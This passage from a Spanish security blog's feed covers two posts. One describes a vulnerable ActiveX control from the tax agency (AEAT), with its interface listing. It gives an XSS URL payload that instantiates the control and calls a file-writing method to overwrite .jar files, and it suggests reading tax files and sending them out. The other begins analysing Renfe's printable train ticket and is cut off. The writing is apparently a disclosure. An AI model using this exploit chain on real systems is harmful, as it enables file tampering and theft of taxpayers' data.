&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000001b<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method ACTUALIZAAVI&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT ACTUALIZAAVI<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> <span class="kw4">int</span> numb, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR texto, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> <span class="kw4">int</span> inc, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> <span class="kw4">int</span> rango<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000001c<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method CERRARAVI&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT CERRARAVI<span class="br0">&#40;</span><span class="br0">&#91;</span>in<span class="br0">&#93;</span> <span class="kw4">int</span> numb<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000001e<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method PRINT&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT PRINT<span class="br0">&#40;</span><span class="br0">&#91;</span>in<span class="br0">&#93;</span> IUnknown* documento<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000001f<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method SELECT_CERT&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT SELECT_CERT<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR cadenaBusqueda, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR ca, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR nif, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* certificado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000020<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method SIGUE&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT SIGUE<span class="br0">&#40;</span><span class="br0">&#91;</span>in<span class="br0">&#93;</span> <span class="kw4">int</span> numb<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000021<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method MUEVEFI&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT MUEVEFI<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR origen, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR destino<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000023<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method GRABAIMG&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT GRABAIMG<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR url, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR ruta, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* resultado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000024<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method DESBLOQUEAR&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT DESBLOQUEAR<span class="br0">&#40;</span><span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR fichero<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000025<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method INICIA&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT INICIA<span class="br0">&#40;</span><span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR directorio<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000026<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method FIRMARLOTES&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT FIRMARLOTES<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR datos, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR cadenaCompleta, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* resultado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000027<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method BORRAFI&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT BORRAFI<span class="br0">&#40;</span><span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR fichero<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000028<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method CREARENLACE&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT CREARENLACE<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR fichero, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR nombre, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR descripcion, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR icono<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000029<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method GETURL&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT GETURL<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR url, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* contenido<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000002a<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method UNZIP&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT UNZIP<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR directorio, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR fichZip<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000002b<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method GSWIN32C&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT GSWIN32C<span class="br0">&#40;</span><span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR parametros<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000002c<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method CERRARVENTANA&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT CERRARVENTANA<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000002d<span class="br0">&#41;</span>, propget, helpstring<span class="br0">&#40;</span><span class="st0">&quot;property IDIOMA&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT IDIOMA<span class="br0">&#40;</span><span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* IDIOMA<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000002d<span class="br0">&#41;</span>, propput, helpstring<span class="br0">&#40;</span><span class="st0">&quot;property IDIOMA&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT IDIOMA<span class="br0">&#40;</span><span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR IDIOMA<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000002e<span class="br0">&#41;</span>, propget, helpstring<span class="br0">&#40;</span><span class="st0">&quot;property ESBINARIO&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT ESBINARIO<span class="br0">&#40;</span><span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* pVal<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000002f<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method FECHA_MOD_URL&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT FECHA_MOD_URL<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR url, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> <span class="kw4">long</span>* pFecha<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000030<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method FECHA_MOD_FICH&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT FECHA_MOD_FICH<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR fichero, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> <span class="kw4">long</span>* pFecha<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000031<span class="br0">&#41;</span>, propget, helpstring<span class="br0">&#40;</span><span class="st0">&quot;property FECHA_CAD_CERT&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT FECHA_CAD_CERT<span class="br0">&#40;</span><span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* pVal<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000032<span class="br0">&#41;</span>, propget, helpstring<span class="br0">&#40;</span><span class="st0">&quot;property EMISOR_CERT&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT EMISOR_CERT<span class="br0">&#40;</span><span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* pVal<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000033<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method GET_VARIABLE_ENT&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT GET_VARIABLE_ENT<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR variable, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* valor<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000034<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method GET_IMG&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT GET_IMG<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR url, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* contenido<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000035<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method ES_CITRIX&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT ES_CITRIX<span class="br0">&#40;</span><span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* resultado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000036<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method ESMSWORD&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT ESMSWORD<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR fichero, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* resultado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000037<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method ABRIRFICHERO&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT ABRIRFICHERO<span class="br0">&#40;</span><span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR fichero<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000038<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method ESMSEXCEL&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT ESMSEXCEL<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR fichero, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* resultado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000039<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method TAM_FICHERO&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT TAM_FICHERO<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR fichero, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> <span class="kw4">double</span>* resultado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span>;<br />
&nbsp;</div>
<p>Como veis hay algunos metodos como GRABABI que suenan interesantes. Haciendo ingeniería inversa podemos fácilmente averiguar los parámetros correctos que quedarían por ejemplo:</p>
<blockquote><p>GRABABI(\&#8217;c:\\\\\AEAT\\\\RENTA2009\\\\irpf2009_false.jar\&#8217;,\&#8217;base64\&#8217;,\&#8217;ADFADFAFAFAFAFAFA[..]\&#8217;)</p></blockquote>
<p>Internamente, el ActiveX implementa una serie de comprobaciones para evitar que las operaciones que hagamos salgan fuera del directorio &#8220;c:\aeat\&#8221;, sin embargo, podríamos sobreescribir cualquier .jar de los que instala el PADRE o crear ciertos tipos de ficheros que fuera cargados automaticamente por el sistema.</p>
<p>Luego existen, los métodos LEERFI, LEERDIR donde podríamos listar el directorio y leer los ficheros de datos fiscales o de otro tipo y enviarlos a un servidor controlado por nosotros&#8230; En fin mil cosas.</p>
<p>Qué nos falta? Que la página de la agencia tributaria tenga un XSS para poder isntanciar el ActiveX desde el dominio permitido, ya que se guarda en la clave &#8220;AllowedDomains&#8221; el dominio desde donde se inicia y acepta la instalación del activex, en este caso, alguno de los pertenencientes a la AEAT.</p>
<p>¿Existe un fallo XSS en las webs de la AEAT? Sí. Y este permitiría hacer una cosa así.</p>
<blockquote>
<pre>
https://aeat.es/XXXXXXXXXXXXXXXXXXXXXXXXXXX=javascript:{var c0d= &#39;&lt;html&gt;&lt;body&gt;&lt;object id=\&#39;ab\&#39; classid=\&#39;CLSID:B785FA3C-1DE9-4D20-8396-613C486FE95E\&#39;&gt;&lt;/object&gt;&lt;script&gt;function xplit(){ab.GRABABI(\&#39;c:\\\\\AEAT\\\\RENTA2009\\\\irpf2009_false.jar\&#39;,\&#39;base64\&#39;,\&#39;ADFADFAFAFAFAFAFA\&#39;);}&lt;/script&gt;&lt;a href=\&#39;javascript:xplit();\&#39;&gt;exploit&lt;/a&gt;&lt;/body&gt;&lt;/html&gt;&#39;;document.write(c0d);}
</pre>
</blockquote>
<p>U otras peores. Avisé a la AEAT de este fallo hace más de un mes. A día de hoy sigue sin arreglarse. Yo por mi parte considero que no puedo hacer más. </p>
<p>Hasta la siguiente.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2010/08/03/weaponized-xss-el-caso-de-la-agencia-tributaria/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>¿Está Renfe? ¿Puede bajar a jugar?</title>
		<link>http://blog.48bits.com/2010/06/14/%c2%bfesta-renfe-%c2%bfpuede-bajar-a-jugar/</link>
		<comments>http://blog.48bits.com/2010/06/14/%c2%bfesta-renfe-%c2%bfpuede-bajar-a-jugar/#comments</comments>
		<pubDate>Mon, 14 Jun 2010 14:33:13 +0000</pubDate>
		<dc:creator>Ruben Santamarta</dc:creator>
				<category><![CDATA[48Bits advisories]]></category>
		<category><![CDATA[Noticias]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=1408</guid>
		<description><![CDATA[Hola amigos de lo ajeno, lo común y lo propio. Recuperando el espíritu del post de los Rascas, seguimos con &#8220;sistemas opacos&#8220;. En este caso vamos a aplicar un poco de ingeniería social. Los que estuvieron el año pasado en la LaCon ya se saben todo el tema, aquí voy a intentar tratar algunas cosas, [...]]]></description>
			<content:encoded><![CDATA[<p>Hola amigos de lo ajeno, lo común y lo propio.</p>
<p>Recuperando el espíritu del post de los <a href="http://blog.48bits.com/2010/01/23/loteria-instantanea-for-learning-and-non-profit/">Rascas</a>, seguimos con &#8220;<a href="http://blog.48bits.com/2009/10/15/ingenieria-social-para-abrirte-camino-en-sistemas-opacos/">sistemas opacos</a>&#8220;. En este caso vamos a aplicar un poco de ingeniería social. Los que estuvieron el año pasado en la LaCon ya se saben todo el tema, aquí voy a intentar tratar algunas cosas, principalmente un análisis del billete online de Renfe. Ese que nos podemos imprimir en nuestra casa.</p>
<p>Habrá muchas sorpresas, regalos y serpentinas&#8230; Incluida conversación con atención al cliente de renfe <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  </p>
<p>Dentro vídeo!<br />
<span id="more-1408"></span></p>
<p><strong>Antecedentes</strong><br />
Hurto, tenencia ilí&#8230;uy! perdón, esto no.</p>
<p>Vamos a explicar unas cuantas cosas que nos ayudarán a entender mejor el post y el razonamiento asociado.</p>
<p>Allá por el 2000 Renfe lanzó &#8220;Tiknet&#8221;, su servicio de venta online de billetes. Lo comprobas y tenías que &#8220;canjearlo&#8221; con el resguardo y previa identificación en taquilla,auto-ticketing o si no me equivoco interventor(revisor). Pero fue en el 2006 cuando se introdujo la posibilidad de imprimirte tus propios billetes en casa.</p>
<p>Hay que tener en cuenta que Renfe es más vieja que el fuego, pero como tal ya no existe. La aplicación de la directiva europea de separación entre explotación y gestión de infraestructuras ferroviarias, dió como resultado dos entes:<br />
- <strong>ADIF</strong><br />
Empresa pública, encargada de gestionar las infraestructuras ferroviarias.<br />
- <strong>Renfe Operadora </strong><br />
La encargada de explotar estas infraestructuras</p>
<p>Nosotros hablaremos en general de &#8220;la Renfe&#8221;. Ahí to&#8217; guapo, la renfe nano, que no?!</p>
<p>Existen varios sistemas de venta y control, siendo SIRE la base de  ellos, también el más antiguo.<br />
- VISIR<br />
- ORION<br />
- VOL/VCX (el de internel https://w1.renfe.es/<strong>vol</strong>)<br />
- <strong>VERTANET</strong><br />
    Venta billetes en ruta.<br />
    Los &#8220;aparaticos&#8221;  móviles.TPVs (vertas)</p>
<p><strong>Infraestructuras</strong></p>
<p>- AVE/Larga distancia<br />
- Media Distancia ( Alvia, Regionales/Express&#8230; )<br />
- Cercanías (Madrid, Cataluña, Andalucía)<br />
- Red de Via estrecha. (FEVE)</p>
<p>Las CC.AA tienen transferidas las competencias sobre aquellas infraestructuras que transcurren <b>completamente</B> por su territorio. Esto puee traer que la implantanción de nuevos sistemas o mejoras ejecutadas de forma asíncrona, así como desigualdad de equipamientos según territorios, provincias, poblaciones, estaciones o trenes.</p>
<p><strong>Comunicaciones</strong></p>
<p>-La más antigua y limitada, el Tren-Tierra. Un sistema analógico.UHF 440-460 Mhz – Monocanal – Voz y Datos. Se puede interceptar.<br />
-El estandar es GSM-R, una variación de GSM para ferrocarriles. Se lleva implantando progresívamente desde hace más de 6 años.<br />
-No he podido comprobar que se creen redes WiFi ad-hoc entre ciertos trenes y la estación a su llegada, pero parece que podría ser.</p>
<p><strong>Analizando el billete.</strong></p>
<p><a href="http://blog.48bits.com/wp-content/uploads/2010/06/renfebillete.png"><img src="http://blog.48bits.com/wp-content/uploads/2010/06/renfebillete.png" alt="" title="renfebillete" width="600" height="833" class="aligncenter size-full wp-image-1410" /></a></p>
<p><strong>1.- Número de Billete</strong><br />
Identificador unívoco del billete. Generado por Renfe. No nos interesa demasiado. </p>
<p><strong>2.- Localizador</strong><br />
6 códigos alfanuméricos que sirve de identificador de referencia para el billete, imprimirlo etc&#8230;</p>
<p><strong>3.-Codigo bidimensional Datamatrix</strong><br />
